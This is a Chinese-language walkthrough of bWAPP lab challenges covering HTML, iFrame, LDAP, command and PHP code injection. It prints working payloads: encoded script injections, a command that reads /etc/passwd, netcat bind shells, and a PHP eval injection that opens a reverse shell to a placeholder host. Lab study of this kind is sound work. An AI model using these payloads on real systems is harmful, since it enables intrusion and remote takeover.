bWAPP 部分题目笔记

该记的还是得记,这靶场挺有意思的,大家可以去下载,也可以访问我的线上靶场

地址:http://c0ec11ef2268a3f4067f540035e38555.icecliffs.cn

A1 - HTML注入(GET)

Low:过于简单,跳过

Medium:

bWAPP 部分题目笔记_第1张图片

对符号进行了转义,通过URL编码绕过即可

%3c%68%31%3e%32%33%33%3c%2f%68%31%3e

High:

这题绕了很久,最后发现题目是用 htmlspecialchars进行限制的,某秋上有对应的收费课程,但靶场

是pikachu,无奈劝退

 

一向贯来白嫖的我,哪能把钱花在这种地方,仔细看了下源码

return htmlspecialchars($data, ENT_QUOTES, $encoding);

大致意思就是防止XSS攻击,编码单双引号,啊说不清,自己百度去理解吧,

可参考:

https://security.stackexchange.com/questions/145716/xss-bypass-strtoupper-htmlspecialchars

https://phpsecurity.readthedocs.io/en/latest/Cross-Site-Scripting-(XSS).html

网上还有说能够通过 JSFuck 进行绕过,我没绕成功,感兴趣的自己去试试

A1 - HTML注入(POST)

同上

A1 - HTML注入 Stored (Blog)

CSS一通乱插即可,举个栗子

"	
>X

bWAPP 部分题目笔记_第2张图片

A1 - iFrame Injection

Low:

http://c0ec11ef2268a3f4067f540035e38555.icecliffs.cn:59888/iframei.php?ParamUrl=data:text/html,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e&ParamWidth=250&ParamHeight=250

URL编码一下即可

Medium:

ParamUrl参数被限制了,只能通过其他俩个参数进行注入

http://c0ec11ef2268a3f4067f540035e38555.icecliffs.cn:59888/iframei.php?ParamUrl=http://www.baidu.com&ParamWidth=">&ParamHeight=250

就这

High:

绕了半天绕过不去看了下源码

bWAPP 部分题目笔记_第3张图片

又遇到这函数了

无奈跳过 Flag-1

LDAP Injection

参考文章:

https://blog.csdn.net/quiet_girl/article/details/50716312

https://www.cnblogs.com/wilburxu/p/9174353.html

https://blog.csdn.net/weixin_41004350/article/details/89521170

先搭建一下 LDAP 环境,不会搭建的 Google ,篇幅有限,搭建略过

LDAP注入和SQL注入差不多,LDAP利用用户输入的参数生成LDAP查询,我们可以构造恶意的查询语句读取其它数据/跨objectclass读取属性

存储方式:LDAP数据库,按照树结构存储的,数据存储在叶子节点上

bWAPP 部分题目笔记_第4张图片

Low:

这儿我新建了几个账户和组,直接输入用户名会返回用户信息

bWAPP 部分题目笔记_第5张图片

简单注入一下 *)(objectclass=*

bWAPP 部分题目笔记_第6张图片

Medium+High:

过滤了 ( ) = & | * 这几个符号

function ldapi_check_1($data)
{
    // Replaces dangerous characters: ( ) = & | * WHITESPACE
    $input = str_replace("(", "", $data);
    $input = str_replace(")", "", $input);
    $input = str_replace("=", "", $input);
    $input = str_replace("&", "", $input);
    $input = str_replace("|", "", $input);
    $input = str_replace("*", "", $input);
    $input = str_replace(" ", "", $input);
    return $input;
}

原谅我技术太蔡,这题没做出来

Mail Header Injection

没搭建环境,直接看源码

Low+Medium+High:

function email_check_1($data)
{
    return preg_match("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$^", $data);
}
function email_check_2($data)
{
    return filter_var($data, FILTER_VALIDATE_EMAIL);
}
function maili_check_1($data)
{
    // URL decoding %0A -> \n and %0D -> \r
    $input = urldecode($data);
    $input = str_replace("\n", "", $input);
    $input = str_replace("\r", "", $input);
    $input = str_replace("bcc:", "", $input);
    return $input;
}
function maili_check_2($data)
{
    // URL decoding %0A -> \n and %0D -> \r
    $input = urldecode($data);
    $input = filter_var($input, FILTER_SANITIZE_EMAIL);
    return $input;
}

大致就是过滤,替换,编码,就完事了

可参考文章:https://www.cnblogs.com/hongren/p/7154814.html

Os Command Injection

Low:

常规操作,加个分隔符执行命令

bWAPP 部分题目笔记_第7张图片

| cat /etc/passwd

或者弹个SHELL | nc -vvlp 4444 -e /bin/bash

后面自己构造吧

bWAPP 部分题目笔记_第8张图片

Medium:

function commandi_check_1($data)
{
    $input = str_replace("&", "", $data);
    $input = str_replace(";", "", $input);
    return $input;
}

只过滤了 & ; 其他符号没过滤,操作和上面一样

High:

function commandi_check_2($data)
{
    return escapeshellcmd($data);
}

用到了 escapeshellcmd 这个函数,这函数可以转义命令函中的危险字符,一样,没做出来

据说低版本php可以进行绕过

详情查看

https://blog.csdn.net/qq_33020901/article/details/84646272

OS Command Injection - Blind

命令盲注

Low:

可利用延时进行注入,具体 127.0.0.1 | sleep 5

成功延迟 5s

bWAPP 部分题目笔记_第9张图片

老方法,弹个 SHELL 连接完事 127.0.0.1 | nc -vvlp 4444 -e /bin/bash

Medium:

和上面操作一样

High:

和上面一样

PHP Code Injection

刚开始以为是 php 反序列化漏洞,盯着题目盯了好久,最后看了下源码才发现,用 eval() 进行传参的...

bWAPP 部分题目笔记_第10张图片

Low:

http://c0ec11ef2268a3f4067f540035e38555.icecliffs.cn:59888/phpi.php?message=a;print "2333";echo phpinfo();system('nc YOU IP -e /bin/bash')

 

bWAPP 部分题目笔记_第11张图片

Medium+High:

微笑面对恐惧

htmlspecialchars($_REQUEST["message"], ENT_QUOTES, "UTF-8");

你可能感兴趣的:(WEB安全)